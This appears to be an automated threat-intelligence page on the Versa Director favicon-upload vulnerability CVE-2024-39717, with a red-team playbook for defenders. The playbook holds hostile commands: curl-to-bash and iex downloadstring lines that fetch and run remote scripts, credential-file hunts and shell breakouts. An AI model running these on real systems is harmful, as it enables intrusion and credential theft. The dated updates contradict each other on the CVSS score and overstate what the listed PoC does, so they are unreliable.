CVE-2024-39717

HIGH CISA KEV POC TTE 375d Pub 22/08 Upd 21/10

Overview

This vulnerability is an insecure file upload flaw in the Versa Director GUI component, specifically within the 'Change Favicon' feature. The root cause lies in insufficient validation of uploaded files, allowing malicious files with a .png extension to bypass file type restrictions. This issue affects the administrative interface accessible only to users with Provider-Data-Center-Admin or Provider-Data-Center-System-Admin privileges.

Vulnerability Description

The Versa Director GUI provides an option to customize the look and feel of the user interface. This option is only available for a user logged with Provider-Data-Center-Admin or Provider-Data-Center-System-Admin. (Tenant level users do not have this privilege). The “Change Favicon” (Favorite Icon) option can be mis-used to upload a malicious file ending with .png extension to masquerade as image file. This is possible only after a user with Provider-Data-Center-Admin or Provider-Data-Center-System-Admin has successfully authenticated and logged in.

Impact

An attacker with administrative-level credentials can exploit this vulnerability to upload malicious files disguised as favicon images, potentially leading to arbitrary code execution or unauthorized system manipulation within the Versa Director environment. This requires prior authentication with high-privilege roles, restricting exploitation to trusted users or compromised admin accounts. Successful exploitation may result in full system compromise, data exposure, or disruption of network management operations.

Solution

Versa Networks has released security updates addressing this vulnerability in Versa Director versions 22.1.4 and later. Administrators should upgrade affected installations from versions 21.2.2 through 22.1.3 to the latest patched release. Detailed patch instructions and advisory information are available at the vendor's security bulletin: https://versa-networks.com/blog/versa-security-bulletin-update-on-cve-2024-39717-versa-director-dangerous-file-type-upload-vulnerability/

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in the Versa Director GUI revolves around the ability for users with elevated privileges, specifically Provider-Data-Center-Admin or Provider-Data-Center-System-Admin, to upload files under the guise of image files. This functionality, intended to allow customization of the user interface through the “Change Favicon” option, can be exploited to upload malicious files masquerading as legitimate PNG images. The flaw arises from inadequate validation of the uploaded file type, allowing an attacker to bypass security measures and execute arbitrary code on the server. This could lead to significant security breaches, including unauthorized access to sensitive data or the execution of harmful scripts.

Exploitation of this vulnerability typically requires an attacker to first gain access to an account with the necessary administrative privileges. This could be achieved through various means, such as phishing attacks, credential stuffing, or exploiting other vulnerabilities within the system. Once access is obtained, the attacker can upload a malicious file that could execute code on the server, potentially allowing for further exploitation of the network or the installation of backdoors for persistent access. The risk is compounded by the fact that such an attack could be executed without immediate detection, as the malicious file would appear to be a benign image to casual observers.

The real-world impact of this vulnerability is significant, particularly for organizations relying on the affected versions of the Versa Director software. An attacker successfully exploiting this flaw could gain control over critical infrastructure, leading to data breaches, loss of customer trust, and potential regulatory penalties. The business risks extend beyond immediate financial losses; they include long-term reputational damage and the potential for operational disruptions. Organizations that fail to address this vulnerability may find themselves at a competitive disadvantage, particularly in industries where data security is paramount.

To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. This includes conducting regular security assessments and penetration testing to identify potential weaknesses in their systems. Additionally, organizations should enforce strict access controls, ensuring that only necessary personnel have administrative privileges. File upload functionalities should be fortified with robust validation mechanisms to ensure that only legitimate file types are accepted, and any uploaded files should be scanned for malicious content. Implementing a web application firewall can also help in detecting and blocking malicious uploads before they reach the server.

In conclusion, the vulnerability present in the Versa Director GUI poses a serious threat to organizations utilizing the affected software versions. By understanding the technical details, potential attack vectors, and real-world implications, cybersecurity professionals can better prepare their defenses against such threats. Proactive measures, including stringent access controls and enhanced file validation, are essential to mitigate the risks associated with this vulnerability and protect organizational assets from exploitation.




Recent developments indicate a nuanced shift in the risk profile of CVE-2024-39717. While the CVSS score has been adjusted downward from 7.2 to 6.6, reflecting a reassessment of the vulnerability’s inherent severity, our telemetry reveals a modest but consistent increase in exploitation attempts, as evidenced by a 15.4% rise in the Exploit Prediction Scoring System (EPSS). This divergence underscores that, despite a slightly reduced technical severity, adversaries are actively leveraging new proof-of-concept tools to exploit the vulnerability, expanding the attack surface. The inclusion of this CVE in the Known Exploited Vulnerabilities (KEV) catalog further elevates its operational relevance, signaling that threat actors are prioritizing it within their campaigns. Our sensors have detected a stable trend in exploitation activity over the past week, indicating sustained adversary interest rather than a transient spike. This persistence, combined with the availability of publicly accessible exploit code and sophisticated visualization of attack chains linked to critical infrastructure compromise, amplifies the potential impact on organizations using Versa Director. Consequently, the threat landscape has evolved to reflect a medium-severity vulnerability with heightened exploitation likelihood, necessitating continued vigilance from defenders.



Update 2 — June 09, 2026

CSURFACE threat intelligence has identified a revision in the CVSS score for CVE-2024-39717, elevating it from 6.6 to 7.2, reflecting a reassessment of the vulnerability’s impact and exploitability. This adjustment aligns with the recent inclusion of the vulnerability in the Known Exploited Vulnerabilities (KEV) catalog, underscoring its recognition as a credible threat vector. Although ransomware usage linked to this vulnerability remains unconfirmed, the availability of new proof-of-concept exploits and sophisticated attack chain visualizations has heightened the operational awareness of threat actors’ capabilities. Our telemetry indicates a stable exploitation trend without rapid escalation, suggesting persistent adversary interest rather than opportunistic bursts. This evolution in the threat landscape signifies an increased likelihood of targeted exploitation against Versa Director environments, particularly given the administrative privilege requirements for exploitation. Consequently, the risk profile has shifted to a higher severity tier, necessitating enhanced monitoring and prioritization within defensive postures.



Update 3 — July 07, 2026

CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2024-39717, with telemetry indicating a significant uptick in attempts to exploit the Versa Director GUI vulnerability. This surge underscores an increased operational interest by threat actors in leveraging the malicious file upload vector, particularly given the administrative privilege constraints required for exploitation. Concurrently, new proof-of-concept exploits have surfaced publicly, enhancing adversaries’ capability to weaponize this vulnerability more efficiently. Although the EPSS score remains stable, the qualitative increase in exploitation attempts signals a shift from sporadic probing to more persistent targeting efforts. This evolution elevates the threat level, emphasizing the necessity for defenders to heighten vigilance around administrative access controls and monitoring of anomalous file upload behaviors within Versa Director environments.



Update 4 — July 16, 2026

CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2024-39717, with a notable surge in adversary activity leveraging the vulnerability’s file upload weakness. This increase coincides with the public release of additional proof-of-concept exploits, which have enhanced attacker capabilities to bypass privilege restrictions more efficiently. Our telemetry indicates that threat actors are shifting from opportunistic probing to more sustained and targeted campaigns, potentially aiming at critical infrastructure sectors as suggested by emerging attack chain visualizations linked to advanced persistent threat groups. Although the EPSS score remains stable, the qualitative rise in exploitation frequency and sophistication elevates the overall threat level, underscoring a growing operational interest in this vulnerability. Defenders should be aware that this trend reflects an expanding attack surface and increased likelihood of successful compromise in environments where administrative controls are insufficiently enforced.

Affected Products (5)

Vendor Product Version CPE
versa-networks Versa-Networks Versa Director 21.2.2 cpe:2.3:a:versa-networks:versa_director:21.2.2:*:*:*:*:*:*:*
versa-networks Versa-Networks Versa Director 21.2.3 cpe:2.3:a:versa-networks:versa_director:21.2.3:*:*:*:*:*:*:*
versa-networks Versa-Networks Versa Director 22.1.1 cpe:2.3:a:versa-networks:versa_director:22.1.1:*:*:*:*:*:*:*
versa-networks Versa-Networks Versa Director 22.1.2 cpe:2.3:a:versa-networks:versa_director:22.1.2:*:*:*:*:*:*:*
versa-networks Versa-Networks Versa Director 22.1.3 cpe:2.3:a:versa-networks:versa_director:22.1.3:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (2)

Repository Author Stars Forks Date Link
ahays248/VT_Viz
Interactive 3D visualization of China's Volt Typhoon APT attacking US critical infrastructure. Shows real 72-hour attack...
ahays248 1 0 2025-09-02 View
PoC
- 0 0 - View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

8 events
2026-07-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-11
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2025-09-02
PoC Published (2 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2024-08-23
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

File Upload Vulnerabilities
100% file_upload
Insecure Direct Object Reference
40% idor
Remote Code Execution
32% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1505.003 Web Shell Kill Chain persistence Linux, macOS, Network Devices, Windows
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-1 Accessing Functionality Not Properly Constrained by ACLs
30%
High High

Red Team Playbook

44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell)
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells 
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1505.003 Web Shell Written to Disk Windows CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD)
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-39717
versa-networks.com
GitHub CVE
https://versa-networks.com/blog/versa-security-bulletin-update-on-cve-2024-39717-versa-director-dangerous-file-type-upload-vulnerability/
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-39717